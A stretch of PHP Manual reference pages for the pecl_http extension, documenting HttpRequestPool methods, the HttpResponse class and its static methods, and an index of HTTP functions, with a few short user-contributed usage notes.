User Contributed Notes

There are no user contributed notes for this page.


Detach HttpRequest

  • « HttpRequestPool::__destruct
  • HttpRequestPool::getAttachedRequests »
  • PHP Manual
  • HttpRequestPool
  • Detach HttpRequest

HttpRequestPool::detach

(PECL pecl_http >= 0.10.0)

HttpRequestPool::detach — Detach HttpRequest

Description

bool HttpRequestPool::detach ( HttpRequest $request )

Detach an HttpRequest object from this HttpRequestPool.

Parameters

request

an HttpRequest object attached to this HttpRequestPool object

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws HttpInvalidParamException, HttpRequestPoolException.

User Contributed Notes

There are no user contributed notes for this page.


Get attached requests

  • « HttpRequestPool::detach
  • HttpRequestPool::getFinishedRequests »
  • PHP Manual
  • HttpRequestPool
  • Get attached requests

HttpRequestPool::getAttachedRequests

(PECL pecl_http >= 0.16.0)

HttpRequestPool::getAttachedRequests — Get attached requests

Description

array HttpRequestPool::getAttachedRequests ( void )

Get attached HttpRequest objects.

Parameters

Return Values

Returns an array containing all currently attached HttpRequest objects.

User Contributed Notes

There are no user contributed notes for this page.


Get finished requests

  • « HttpRequestPool::getAttachedRequests
  • HttpRequestPool::reset »
  • PHP Manual
  • HttpRequestPool
  • Get finished requests

HttpRequestPool::getFinishedRequests

(PECL pecl_http >= 0.16.0)

HttpRequestPool::getFinishedRequests — Get finished requests

Description

array HttpRequestPool::getFinishedRequests ( void )

Get attached HttpRequest objects that already have finished their work.

Parameters

Return Values

Returns an array containing all attached HttpRequest objects that already have finished their work.

User Contributed Notes

There are no user contributed notes for this page.


Reset request pool

  • « HttpRequestPool::getFinishedRequests
  • HttpRequestPool::send »
  • PHP Manual
  • HttpRequestPool
  • Reset request pool

HttpRequestPool::reset

(PECL pecl_http >= 0.10.0)

HttpRequestPool::reset — Reset request pool

Description

void HttpRequestPool::reset ( void )

Detach all attached HttpRequest objects.

User Contributed Notes

There are no user contributed notes for this page.


Send all requests

  • « HttpRequestPool::reset
  • HttpRequestPool::socketPerform »
  • PHP Manual
  • HttpRequestPool
  • Send all requests

HttpRequestPool::send

(PECL pecl_http >= 0.10.0)

HttpRequestPool::send — Send all requests

Description

bool HttpRequestPool::send ( void )

Send all attached HttpRequest objects in parallel.

Parameters

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws HttpRequestPoolException (HttpSocketException, HttpRequestException, HttpMalformedHeaderException).

User Contributed Notes

There are no user contributed notes for this page.


Perform socket actions

  • « HttpRequestPool::send
  • HttpRequestPool::socketSelect »
  • PHP Manual
  • HttpRequestPool
  • Perform socket actions

HttpRequestPool::socketPerform

(PECL pecl_http >= 0.15.0)

HttpRequestPool::socketPerform — Perform socket actions

Description

protected bool HttpRequestPool::socketPerform ( void )

Returns TRUE until each request has finished its transaction.

Return Values

Returns TRUE until each request has finished its transaction.

Examples

Example #1 A HttpRequestPool::socketPerform() example

<?php
class MyPool extends HttpRequestPool
{
    public function send()
    {
        while ($this->socketPerform()) {
            if (!$this->socketSelect()) {
                throw new HttpSocketExcpetion;
            }
        }
    }

    protected final function socketPerform()
    {
        $result = parent::socketPerform();
        foreach ($this->getFinishedRequests() as $r) {
            $this->detach($r);
            // handle response of finished request
        }
        return $result;
    }
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Perform socket select

  • « HttpRequestPool::socketPerform
  • HttpResponse »
  • PHP Manual
  • HttpRequestPool
  • Perform socket select

HttpRequestPool::socketSelect

(PECL pecl_http >= 0.10.0)

HttpRequestPool::socketSelect — Perform socket select

Description

protected bool HttpRequestPool::socketSelect ([ float $timeout = 0 ] )

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The HttpResponse

(PECL pecl_http >= 0.7.0)

Class synopsis

HttpResponse {
static void capture ( void )
static int getBufferSize ( void )
static bool getCache ( void )
static string getCacheControl ( void )
static string getContentDisposition ( void )
static string getContentType ( void )
static string getData ( void )
static string getETag ( void )
static string getFile ( void )
static bool getGzip ( void )
static mixed getHeader ([ string $name ] )
static int getLastModified ( void )
static string getRequestBody ( void )
static resource getRequestBodyStream ( void )
static array getRequestHeaders ( void )
static resource getStream ( void )
static float getThrottleDelay ( void )
static string guessContentType ( string $magic_file [, int $magic_mode = MAGIC_MIME ] )
static void redirect ([ string $url [, array $params [, bool $session = false [, int $status ]]]] )
static bool send ([ bool $clean_ob = true ] )
static bool setBufferSize ( int $bytes )
static bool setCache ( bool $cache )
static bool setCacheControl ( string $control [, int $max_age = 0 [, bool $must_revalidate = true ]] )
static bool setContentDisposition ( string $filename [, bool $inline = false ] )
static bool setContentType ( string $content_type )
static bool setData ( mixed $data )
static bool setETag ( string $etag )
static bool setFile ( string $file )
static bool setGzip ( bool $gzip )
static bool setHeader ( string $name [, mixed $value [, bool $replace = true ]] )
static bool setLastModified ( int $timestamp )
static bool setStream ( resource $stream )
static bool setThrottleDelay ( float $seconds )
static bool status ( int $status )
}

Class Members

Properties

Static Properties
Modifiers | Type | Name | Description
protected | boolean | cache | whether caching the response should be attempted
protected | boolean | gzip | whether the sent entity should be gzip'ed on the fly
protected | string | eTag | the generated or custom ETag
protected | integer | lastModified | the generated or custom timestamp of last modification
protected | string | cacheControl | Cache-Control setting
protected | string | contentType | the Content-Type of the sent entity
protected | string | contentDisposition | the Content-Disposition of the sent entity
protected | integer | bufferSize | the chunk buffer size used for throttling
protected | double | throttleDelay | the seconds to delay when throttling

Predefined Constants

Type | Name | Description
integer | REDIRECT | guess applicable redirect method
integer | REDIRECT_PERM | permanent redirect (301 Moved permanently)
integer | REDIRECT_FOUND | standard redirect (302 Found)
integer | REDIRECT_POST | redirect applicable to POST requests (303 See other)
integer | REDIRECT_PROXY | proxy redirect (305 Use proxy)
integer | REDIRECT_TEMP | temporary redirect (307 Temporary Redirect)

Table of Contents

  • HttpResponse::capture — Capture script output
  • HttpResponse::getBufferSize — Get buffer size
  • HttpResponse::getCache — Get cache
  • HttpResponse::getCacheControl — Get cache control
  • HttpResponse::getContentDisposition — Get content disposition
  • HttpResponse::getContentType — Get content type
  • HttpResponse::getData — Get data
  • HttpResponse::getETag — Get ETag
  • HttpResponse::getFile — Get file
  • HttpResponse::getGzip — Get gzip
  • HttpResponse::getHeader — Get header
  • HttpResponse::getLastModified — Get last modified
  • HttpResponse::getRequestBody — Get request body
  • HttpResponse::getRequestBodyStream — Get request body stream
  • HttpResponse::getRequestHeaders — Get request headers
  • HttpResponse::getStream — Get Stream
  • HttpResponse::getThrottleDelay — Get throttle delay
  • HttpResponse::guessContentType — Guess content type
  • HttpResponse::redirect — Redirect
  • HttpResponse::send — Send response
  • HttpResponse::setBufferSize — Set buffer size
  • HttpResponse::setCache — Set cache
  • HttpResponse::setCacheControl — Set cache control
  • HttpResponse::setContentDisposition — Set content disposition
  • HttpResponse::setContentType — Set content type
  • HttpResponse::setData — Set data
  • HttpResponse::setETag — Set ETag
  • HttpResponse::setFile — Set file
  • HttpResponse::setGzip — Set gzip
  • HttpResponse::setHeader — Set header
  • HttpResponse::setLastModified — Set last modified
  • HttpResponse::setStream — Set stream
  • HttpResponse::setThrottleDelay — Set throttle delay
  • HttpResponse::status — Send HTTP response status

User Contributed Notes

There are no user contributed notes for this page.


Capture script output

  • « HttpResponse
  • HttpResponse::getBufferSize »
  • PHP Manual
  • HttpResponse
  • Capture script output

HttpResponse::capture

(PECL pecl_http >= 0.10.0)

HttpResponse::capture — Capture script output

Description

static void HttpResponse::capture ( void )

Capture script output.

Examples

Example #1 A HttpResponse::capture() example

<?php
HttpResponse::setCache(true);
HttpResponse::capture();
// script follows
?>

See Also

  • HttpResponse::send() - Send response

User Contributed Notes

There are no user contributed notes for this page.


Get buffer size

  • « HttpResponse::capture
  • HttpResponse::getCache »
  • PHP Manual
  • HttpResponse
  • Get buffer size

HttpResponse::getBufferSize

(PECL pecl_http >= 0.10.0)

HttpResponse::getBufferSize — Get buffer size

Description

static int HttpResponse::getBufferSize ( void )

Get current buffer size.

Return Values

Returns an int representing the current buffer size in bytes.

See Also

  • HttpResponse::setBufferSize() - Set buffer size
  • HttpResponse::getThrottleDelay() - Get throttle delay
  • HttpResponse::setThrottleDelay() - Set throttle delay

User Contributed Notes

There are no user contributed notes for this page.


Get cache

  • « HttpResponse::getBufferSize
  • HttpResponse::getCacheControl »
  • PHP Manual
  • HttpResponse
  • Get cache

HttpResponse::getCache

(PECL pecl_http >= 0.10.0)

HttpResponse::getCache — Get cache

Description

static bool HttpResponse::getCache ( void )

Get current caching setting.

Return Values

Returns TRUE if caching should be attempted, else FALSE.

See Also

  • HttpResponse::setCacheControl() - Set cache control
  • HttpResponse::getCacheControl() - Get cache control
  • HttpResponse::setCache() - Set cache

User Contributed Notes

There are no user contributed notes for this page.


Get cache control

  • « HttpResponse::getCache
  • HttpResponse::getContentDisposition »
  • PHP Manual
  • HttpResponse
  • Get cache control

HttpResponse::getCacheControl

(PECL pecl_http >= 0.10.0)

HttpResponse::getCacheControl — Get cache control

Description

static string HttpResponse::getCacheControl ( void )

Get current Cache-Control header setting.

Return Values

Returns the current cache control setting as a string like sent in a header.

See Also

  • HttpResponse::setCacheControl() - Set cache control
  • HttpResponse::setCache() - Set cache
  • HttpResponse::getCache() - Get cache

User Contributed Notes

There are no user contributed notes for this page.


Get content disposition

  • « HttpResponse::getCacheControl
  • HttpResponse::getContentType »
  • PHP Manual
  • HttpResponse
  • Get content disposition

HttpResponse::getContentDisposition

(PECL pecl_http >= 0.10.0)

HttpResponse::getContentDisposition — Get content disposition

Description

static string HttpResponse::getContentDisposition ( void )

Get current Content-Disposition setting.

Return Values

Returns the current content disposition as string like sent in a header.

See Also

  • HttpResponse::setContentDisposition() - Set content disposition
  • HttpResponse::getContentType() - Get content type
  • HttpResponse::setContentType() - Set content type

User Contributed Notes

There are no user contributed notes for this page.


Get content type

  • « HttpResponse::getContentDisposition
  • HttpResponse::getData »
  • PHP Manual
  • HttpResponse
  • Get content type

HttpResponse::getContentType

(PECL pecl_http >= 0.10.0)

HttpResponse::getContentType — Get content type

Description

static string HttpResponse::getContentType ( void )

Get current Content-Type header setting.

Return Values

Returns the currently set content type as string.

See Also

  • HttpResponse::getContentDisposition() - Get content disposition
  • HttpResponse::setContentDisposition() - Set content disposition
  • HttpResponse::setContentType() - Set content type
  • HttpResponse::guessContentType() - Guess content type

User Contributed Notes

There are no user contributed notes for this page.


Get data

  • « HttpResponse::getContentType
  • HttpResponse::getETag »
  • PHP Manual
  • HttpResponse
  • Get data

HttpResponse::getData

(PECL pecl_http >= 0.10.0)

HttpResponse::getData — Get data

Description

static string HttpResponse::getData ( void )

Get the previously set data to be sent.

Return Values

Returns a string containing the previously set data to send.

See Also

  • HttpResponse::setData() - Set data
  • HttpResponse::getFile() - Get file
  • HttpResponse::setFile() - Set file
  • HttpResponse::getStream() - Get Stream
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.


Get ETag

  • « HttpResponse::getData
  • HttpResponse::getFile »
  • PHP Manual
  • HttpResponse
  • Get ETag

HttpResponse::getETag

(PECL pecl_http >= 0.10.0)

HttpResponse::getETag — Get ETag

Description

static string HttpResponse::getETag ( void )

Get calculated or previously set custom ETag.

Return Values

Returns the calculated or previously set ETag as unquoted string.

See Also

  • HttpResponse::getLastModified() - Get last modified
  • HttpResponse::setLastModified() - Set last modified
  • HttpResponse::setETag() - Set ETag

User Contributed Notes

There are no user contributed notes for this page.


Get file

  • « HttpResponse::getETag
  • HttpResponse::getGzip »
  • PHP Manual
  • HttpResponse
  • Get file

HttpResponse::getFile

(PECL pecl_http >= 0.10.0)

HttpResponse::getFile — Get file

Description

static string HttpResponse::getFile ( void )

Get the previously set file to be sent.

Return Values

Returns the previously set path to the file to send as string.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::setData() - Set data
  • HttpResponse::setFile() - Set file
  • HttpResponse::getStream() - Get Stream
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.


Get gzip

  • « HttpResponse::getFile
  • HttpResponse::getHeader »
  • PHP Manual
  • HttpResponse
  • Get gzip

HttpResponse::getGzip

(PECL pecl_http >= 0.10.0)

HttpResponse::getGzip — Get gzip

Description

static bool HttpResponse::getGzip ( void )

Get current gzip'ing setting.

Return Values

Returns TRUE if GZip compression is enabled, else FALSE.

See Also

  • HttpResponse::setGzip() - Set gzip

User Contributed Notes

There are no user contributed notes for this page.


Get header

  • « HttpResponse::getGzip
  • HttpResponse::getLastModified »
  • PHP Manual
  • HttpResponse
  • Get header

HttpResponse::getHeader

(PECL pecl_http >= 0.12.0)

HttpResponse::getHeader — Get header

Description

static mixed HttpResponse::getHeader ([ string $name ] )

Get header(s) about to be sent.

Note:

This may not work as expected with the following SAPI(s): Apache2 w/PHP < 5.1.3.

Parameters

name

specifies the name of the header to read; if empty or omitted, an associative array with all headers will be returned

Return Values

Returns either a string containing the value of the header matching name, FALSE on failure, or an associative array with all headers.

See Also

  • HttpResponse::setHeader() - Set header

User Contributed Notes

There are no user contributed notes for this page.


Get last modified

  • « HttpResponse::getHeader
  • HttpResponse::getRequestBody »
  • PHP Manual
  • HttpResponse
  • Get last modified

HttpResponse::getLastModified

(PECL pecl_http >= 0.12.0)

HttpResponse::getLastModified — Get last modified

Description

static int HttpResponse::getLastModified ( void )

Get calculated or previously set custom Last-Modified date.

Return Values

Returns the calculated or previously set Unix timestamp.

See Also

  • HttpResponse::setLastModified() - Set last modified
  • HttpResponse::getETag() - Get ETag
  • HttpResponse::setETag() - Set ETag

User Contributed Notes

There are no user contributed notes for this page.


Get request body

  • « HttpResponse::getLastModified
  • HttpResponse::getRequestBodyStream »
  • PHP Manual
  • HttpResponse
  • Get request body

HttpResponse::getRequestBody

(PECL pecl_http >= 0.10.0)

HttpResponse::getRequestBody — Get request body

Description

static string HttpResponse::getRequestBody ( void )

This function is an alias of: http_get_request_body().

User Contributed Notes

osborn dot steven at example dot com 23-Aug-2007 06:03
For those of you without the HTTP extension, try:
<?php
  $body = @file_get_contents('php://input');
?>


Get request body stream

  • « HttpResponse::getRequestBody
  • HttpResponse::getRequestHeaders »
  • PHP Manual
  • HttpResponse
  • Get request body stream

HttpResponse::getRequestBodyStream

(PECL pecl_http >= 0.10.0)

HttpResponse::getRequestBodyStream — Get request body stream

Description

static resource HttpResponse::getRequestBodyStream ( void )

This function is an alias of: http_get_request_body_stream().

User Contributed Notes

There are no user contributed notes for this page.


Get request headers

  • « HttpResponse::getRequestBodyStream
  • HttpResponse::getStream »
  • PHP Manual
  • HttpResponse
  • Get request headers

HttpResponse::getRequestHeaders

(PECL pecl_http >= 0.10.0)

HttpResponse::getRequestHeaders — Get request headers

Description

static array HttpResponse::getRequestHeaders ( void )

This function is an alias of: http_get_request_headers().

User Contributed Notes

There are no user contributed notes for this page.


Get Stream

  • « HttpResponse::getRequestHeaders
  • HttpResponse::getThrottleDelay »
  • PHP Manual
  • HttpResponse
  • Get Stream

HttpResponse::getStream

(PECL pecl_http >= 0.10.0)

HttpResponse::getStream — Get Stream

Description

static resource HttpResponse::getStream ( void )

Get the previously set resource to be sent.

Parameters

Return Values

Returns the previously set resource.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::setData() - Set data
  • HttpResponse::getFile() - Get file
  • HttpResponse::setFile() - Set file
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.


Get throttle delay

  • « HttpResponse::getStream
  • HttpResponse::guessContentType »
  • PHP Manual
  • HttpResponse
  • Get throttle delay

HttpResponse::getThrottleDelay

(PECL pecl_http >= 0.10.0)

HttpResponse::getThrottleDelay — Get throttle delay

Description

static float HttpResponse::getThrottleDelay ( void )

Get the current throttle delay.

Return Values

Returns a double representing the throttle delay in seconds.

See Also

  • HttpResponse::getBufferSize() - Get buffer size
  • HttpResponse::setBufferSize() - Set buffer size
  • HttpResponse::setThrottleDelay() - Set throttle delay

User Contributed Notes

There are no user contributed notes for this page.


Guess content type

  • « HttpResponse::getThrottleDelay
  • HttpResponse::redirect »
  • PHP Manual
  • HttpResponse
  • Guess content type

HttpResponse::guessContentType

(PECL pecl_http >= 0.13.0)

HttpResponse::guessContentType — Guess content type

Description

static string HttpResponse::guessContentType ( string $magic_file [, int $magic_mode = MAGIC_MIME ] )

Attempts to guess the content type of supplied payload through libmagic.

If the attempt is successful, the guessed Content-Type will automatically be set as response Content-Type.

Parameters

magic_file

specifies the magic.mime database to use

magic_mode

flags for libmagic

Return Values

Returns the guessed content type on success or FALSE on failure.

Errors/Exceptions

Throws HttpRuntimeException, HttpInvalidParamException.

See Also

  • HttpResponse::getContentType() - Get content type
  • HttpResponse::setContentType() - Set content type

User Contributed Notes

There are no user contributed notes for this page.


Redirect

  • « HttpResponse::guessContentType
  • HttpResponse::send »
  • PHP Manual
  • HttpResponse
  • Redirect

HttpResponse::redirect

(PECL pecl_http >= 0.10.0)

HttpResponse::redirect — Redirect

Description

static void HttpResponse::redirect ([ string $url [, array $params [, bool $session = false [, int $status ]]]] )

This function is an alias of: http_redirect().

User Contributed Notes

There are no user contributed notes for this page.


Send response

  • « HttpResponse::redirect
  • HttpResponse::setBufferSize »
  • PHP Manual
  • HttpResponse
  • Send response

HttpResponse::send

(PECL pecl_http >= 0.10.0)

HttpResponse::send — Send response

Description

static bool HttpResponse::send ([ bool $clean_ob = true ] )

Finally send the entity.

A successful caching attempt will exit PHP, and write a log entry if the INI setting http.log.cache is set. See the INI setting http.force_exit for what "exits" means.

Parameters

clean_ob

whether to destroy all previously started output handlers and their buffers

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A HttpResponse::send() example

<?php
HttpResponse::setCache(true);
HttpResponse::setContentType('application/pdf');
HttpResponse::setContentDisposition("$user.pdf", false);
HttpResponse::setFile('sheet.pdf');
HttpResponse::send();
?>

See Also

  • HttpResponse::capture() - Capture script output

User Contributed Notes

lymber 19-Jan-2010 06:35
how to respond to a http request
Note that if you output data before sending the response then you will get a warning saying: Cannot modify header information - headers already sent. So do not echo any data in your responding script.
<?php
//process the request by fetching the info
$headers = http_get_request_headers();
$result = http_get_request_body();
//do stuff with the $headers and $result variables....
//then send your response
HttpResponse::status(200);
HttpResponse::setContentType('text/xml');
HttpResponse::setHeader('From', 'Lymber');
HttpResponse::setData('<?xml version="1.0"?><note>Thank you for posting your data! We love php!</note>');
HttpResponse::send();
?>
barnett dot [NOSPAM]thomas at gmail dot com 26-May-2008 06:31
I was having a problem with the bytes appended to the output, using the given example.

<?php
...
HttpResponse::setFile('sheet.pdf');
HttpResponse::send();
?>

Content-Length mismatch: Response Header claimed x bytes, but server sent x+5 bytes.

Adding an exit statement solved this problem.


Set buffer size

  • « HttpResponse::send
  • HttpResponse::setCache »
  • PHP Manual
  • HttpResponse
  • Set buffer size

HttpResponse::setBufferSize

(PECL pecl_http >= 0.10.0)

HttpResponse::setBufferSize — Set buffer size

Description

static bool HttpResponse::setBufferSize ( int $bytes )

Sets the send buffer size of the throttling mechanism.

Note: Provides a basic throttling mechanism, which will yield the current process or thread until the entity has been completely sent.

Note:

This may not work as expected with the following SAPI(s): FastCGI.

Parameters

bytes

the chunk size in bytes

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getBufferSize() - Get buffer size
  • HttpResponse::getThrottleDelay() - Get throttle delay
  • HttpResponse::setThrottleDelay() - Set throttle delay

User Contributed Notes

There are no user contributed notes for this page.


Set cache

  • « HttpResponse::setBufferSize
  • HttpResponse::setCacheControl »
  • PHP Manual
  • HttpResponse
  • Set cache

HttpResponse::setCache

(PECL pecl_http >= 0.10.0)

HttpResponse::setCache — Set cache

Description

static bool HttpResponse::setCache ( bool $cache )

Whether it should be attempted to cache the entity.

This will result in necessary caching headers and checks of clients If-Modified-Since and If-None-Match headers. If one of those headers matches a 304 Not Modified status code will be issued.

Note:

If you're using sessions, be sure that you set session.cache_limiter to something more appropriate than "no-cache"!

Parameters

cache

whether caching should be attempted

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::setCacheControl() - Set cache control
  • HttpResponse::getCacheControl() - Get cache control
  • HttpResponse::getCachel()

User Contributed Notes

There are no user contributed notes for this page.


Set cache control

  • « HttpResponse::setCache
  • HttpResponse::setContentDisposition »
  • PHP Manual
  • HttpResponse
  • Set cache control

HttpResponse::setCacheControl

(PECL pecl_http >= 0.10.0)

HttpResponse::setCacheControl — Set cache control

Description

static bool HttpResponse::setCacheControl ( string $control [, int $max_age = 0 [, bool $must_revalidate = true ]] )

Define a custom Cache-Control header, usually being private or public;

Parameters

control

the primary cache control setting

max_age

the max-age in seconds, suggesting how long the cache entry is valid on the client side

must_revalidate

whether the cached entity should be revalidated by the client for every request

Return Values

Returns TRUE on success, or FALSE if control does not match one of public, private or no-cache.

See Also

  • HttpResponse::getCacheControl() - Get cache control
  • HttpResponse::setCache() - Set cache
  • HttpResponse::getCache() - Get cache

User Contributed Notes

There are no user contributed notes for this page.


Set content disposition

  • « HttpResponse::setCacheControl
  • HttpResponse::setContentType »
  • PHP Manual
  • HttpResponse
  • Set content disposition

HttpResponse::setContentDisposition

(PECL pecl_http >= 0.10.0)

HttpResponse::setContentDisposition — Set content disposition

Description

static bool HttpResponse::setContentDisposition ( string $filename [, bool $inline = false ] )

Set the Content-Disposition. The Content-Disposition header is very useful if the data actually being sent came from a file or something similar, that should be "saved" by the client/user (i.e. by the browser's "Save as..." popup window).

Parameters

filename

the file name the "Save as..." dialog should display

inline

if set to true and the user agent knows how to handle the content type, it will probably not cause the popup window to be shown

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getContentDisposition() - Get content disposition
  • HttpResponse::getContentType() - Get content type
  • HttpResponse::setContentType() - Set content type

User Contributed Notes

There are no user contributed notes for this page.


Set content type

  • « HttpResponse::setContentDisposition
  • HttpResponse::setData »
  • PHP Manual
  • HttpResponse
  • Set content type

HttpResponse::setContentType

(PECL pecl_http >= 0.10.0)

HttpResponse::setContentType — Set content type

Description

static bool HttpResponse::setContentType ( string $content_type )

Set the Content-Type of the sent entity.

Parameters

content_type

the content type of the sent entity (primary/secondary)

Return Values

Returns TRUE on success, or FALSE if the content type does not seem to contain a primary and secondary content type part.

See Also

  • HttpResponse::getContentDisposition() - Get content disposition
  • HttpResponse::setContentDisposition() - Set content disposition
  • HttpResponse::getContentType() - Get content type
  • HttpResponse::guessContentType() - Guess content type

User Contributed Notes

There are no user contributed notes for this page.


Set data

  • « HttpResponse::setContentType
  • HttpResponse::setETag »
  • PHP Manual
  • HttpResponse
  • Set data

HttpResponse::setData

(PECL pecl_http >= 0.10.0)

HttpResponse::setData — Set data

Description

static bool HttpResponse::setData ( mixed $data )

Set the data to be sent.

Note: Previously calculated or defined ETag and Last-Modified will be recalculated and redefined.

Parameters

data

data to send

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::getFile() - Get file
  • HttpResponse::setFile() - Set file
  • HttpResponse::getStream() - Get Stream
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.


Set ETag

  • « HttpResponse::setData
  • HttpResponse::setFile »
  • PHP Manual
  • HttpResponse
  • Set ETag

HttpResponse::setETag

(PECL pecl_http >= 0.10.0)

HttpResponse::setETag — Set ETag

Description

static bool HttpResponse::setETag ( string $etag )

Set a custom ETag. Use this only if you know what you're doing.

Parameters

etag

unquoted string as parameter containing the ETag

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getLastModified() - Get last modified
  • HttpResponse::setLastModified() - Set last modified
  • HttpResponse::getETag() - Get ETag

User Contributed Notes

There are no user contributed notes for this page.


Set file

  • « HttpResponse::setETag
  • HttpResponse::setGzip »
  • PHP Manual
  • HttpResponse
  • Set file

HttpResponse::setFile

(PECL pecl_http >= 0.10.0)

HttpResponse::setFile — Set file

Description

static bool HttpResponse::setFile ( string $file )

Set the file to be sent.

Note: Previously calculated or defined ETag and Last-Modified will be recalculated and redefined.

Parameters

file

the path to the file to send

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::setData() - Set data
  • HttpResponse::getFile() - Get file
  • HttpResponse::getStream() - Get Stream
  • HttpResponse::setStream() - Set stream

User Contributed Notes

There are no user contributed notes for this page.


Set gzip

  • « HttpResponse::setFile
  • HttpResponse::setHeader »
  • PHP Manual
  • HttpResponse
  • Set gzip

HttpResponse::setGzip

(PECL pecl_http >= 0.10.0)

HttpResponse::setGzip — Set gzip

Description

static bool HttpResponse::setGzip ( bool $gzip )

Enable on-thy-fly gzip'ing of the sent entity.

Parameters

gzip

whether GZip compression should be enabled

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getGzip() - Get gzip

User Contributed Notes

There are no user contributed notes for this page.


Set header

  • « HttpResponse::setGzip
  • HttpResponse::setLastModified »
  • PHP Manual
  • HttpResponse
  • Set header

HttpResponse::setHeader

(PECL pecl_http >= 0.12.0)

HttpResponse::setHeader — Set header

Description

static bool HttpResponse::setHeader ( string $name [, mixed $value [, bool $replace = true ]] )

Send an HTTP header.

Parameters

name

the name of the header

value

the value of the header; if not set, no header with this name will be sent

replace

whether an existing header should be replaced

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getHeader() - Get header

User Contributed Notes

There are no user contributed notes for this page.


Set last modified

  • « HttpResponse::setHeader
  • HttpResponse::setStream »
  • PHP Manual
  • HttpResponse
  • Set last modified

HttpResponse::setLastModified

(PECL pecl_http >= 0.12.0)

HttpResponse::setLastModified — Set last modified

Description

static bool HttpResponse::setLastModified ( int $timestamp )

Set a custom Last-Modified date.

Parameters

timestamp

Unix timestamp representing the last modification time of the sent entity

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getLastModified() - Get last modified
  • HttpResponse::getETag() - Get ETag
  • HttpResponse::setETag() - Set ETag

User Contributed Notes

There are no user contributed notes for this page.


Set stream

  • « HttpResponse::setLastModified
  • HttpResponse::setThrottleDelay »
  • PHP Manual
  • HttpResponse
  • Set stream

HttpResponse::setStream

(PECL pecl_http >= 0.10.0)

HttpResponse::setStream — Set stream

Description

static bool HttpResponse::setStream ( resource $stream )

Set the resource to be sent.

Note: Previously calculated or defined ETag and Last-Modified will be recalculated and redefined.

Parameters

stream

already opened stream from which the data to send will be read

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getData() - Get data
  • HttpResponse::setData() - Set data
  • HttpResponse::getFile() - Get file
  • HttpResponse::setFile() - Set file
  • HttpResponse::getStream() - Get Stream

User Contributed Notes

There are no user contributed notes for this page.


Set throttle delay

  • « HttpResponse::setStream
  • HttpResponse::status »
  • PHP Manual
  • HttpResponse
  • Set throttle delay

HttpResponse::setThrottleDelay

(PECL pecl_http >= 0.10.0)

HttpResponse::setThrottleDelay — Set throttle delay

Description

static bool HttpResponse::setThrottleDelay ( float $seconds )

Sets the throttle delay.

Note: Provides a basic throttling mechanism, which will yield the current process or thread until the entity has been completely sent.

Note:

This may not work as expected with the following SAPI(s): FastCGI.

Parameters

seconds

seconds to sleep after each chunk sent

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • HttpResponse::getBufferSize() - Get buffer size
  • HttpResponse::setBufferSize() - Set buffer size
  • HttpResponse::getThrottleDelay() - Get throttle delay

User Contributed Notes

There are no user contributed notes for this page.


Send HTTP response status

  • « HttpResponse::setThrottleDelay
  • HTTP Functions »
  • PHP Manual
  • HttpResponse
  • Send HTTP response status

HttpResponse::status

(PECL pecl_http >= 0.12.0)

HttpResponse::status — Send HTTP response status

Description

static bool HttpResponse::status ( int $status )

This function is an alias of: http_send_status().

User Contributed Notes

VolodyA! V Anarhist 09-Oct-2014 06:02
For those with the older versions of PHP you can still set the response code by using the header function. For example:

  //HttpResponse::status(403);
  header("HTTP/1.0 403 Forbidden");


HTTP Functions

Built-in HTTP related functions previously listed on this page can be found in the networking category.

The following functions do not need the HTTP module to be present: header(), headers_list(), headers_sent(), setcookie() and setrawcookie().

Function groups

Caching

  • http_cache_etag()
  • http_cache_last_modified()

Encodings

  • http_chunked_decode()
  • http_deflate()
  • http_inflate()

Miscellaneous

  • http_build_cookie()
  • http_date()
  • http_get_request_body_stream()
  • http_get_request_body()
  • http_get_request_headers()
  • http_match_etag()
  • http_match_modified()
  • http_match_request_header()
  • http_support()

Negotiation

  • http_negotiate_charset()
  • http_negotiate_content_type()
  • http_negotiate_language()

Outputhandlers

  • ob_deflatehandler()
  • ob_etaghandler()
  • ob_inflatehandler()

Parsers

  • http_parse_cookie()
  • http_parse_headers()
  • http_parse_message()
  • http_parse_params()

Requests

  • http_get()
  • http_head()
  • http_post_data()
  • http_post_fields()
  • http_put_data()
  • http_put_file()
  • http_put_stream()
  • http_request_body_encode()
  • http_request_method_exists()
  • http_request_method_name()
  • http_request_method_register()
  • http_request_method_unregister()
  • http_request()

Responses

  • http_redirect()
  • http_send_content_disposition()
  • http_send_content_type()
  • http_send_data()
  • http_send_file()
  • http_send_last_modified()
  • http_send_status()
  • http_send_stream()
  • http_throttle()

URLs

  • http_build_str()
  • http_build_url()

Persistent Handles

  • http_persistent_handles_count()
  • http_persistent_handles_ident()
  • http_persistent_handles_clean()

Table of Contents

  • http_cache_etag — Caching by ETag
  • http_cache_last_modified — Caching by last modification
  • http_chunked_decode — Decode chunked-encoded data
  • http_deflate — Deflate data
  • http_inflate — Inflate data
  • http_build_cookie — Build cookie string
  • http_date — Compose HTTP RFC compliant date
  • http_get_request_body_stream — Get request body as stream
  • http_get_request_body — Get request body as string
  • http_get_request_headers — Get request headers as array
  • http_match_etag — Match ETag
  • http_match_modified — Match last modification
  • http_match_request_header — Match any header
